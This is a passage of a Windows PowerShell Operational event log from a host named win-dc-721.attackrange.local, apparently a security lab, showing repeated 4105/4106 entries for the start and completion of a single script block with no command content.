Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469114
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469113
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469112
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469111
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469110
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469109
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469108
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469107
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469106
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469105
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469104
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469103
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469102
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469101
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469100
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469099
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469098
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469097
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469096
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469095
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469094
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469093
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469092
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469091
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469090
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469089
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469088
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469087
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469086
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469085
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469084
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469083
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469082
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469081
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469080
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469079
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469078
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469077
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469076
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469075
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469074
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469073
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469072
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469071
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469070
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469069
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469068
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469067
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469066
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469065
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469064
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469063
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469062
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469061
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469060
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
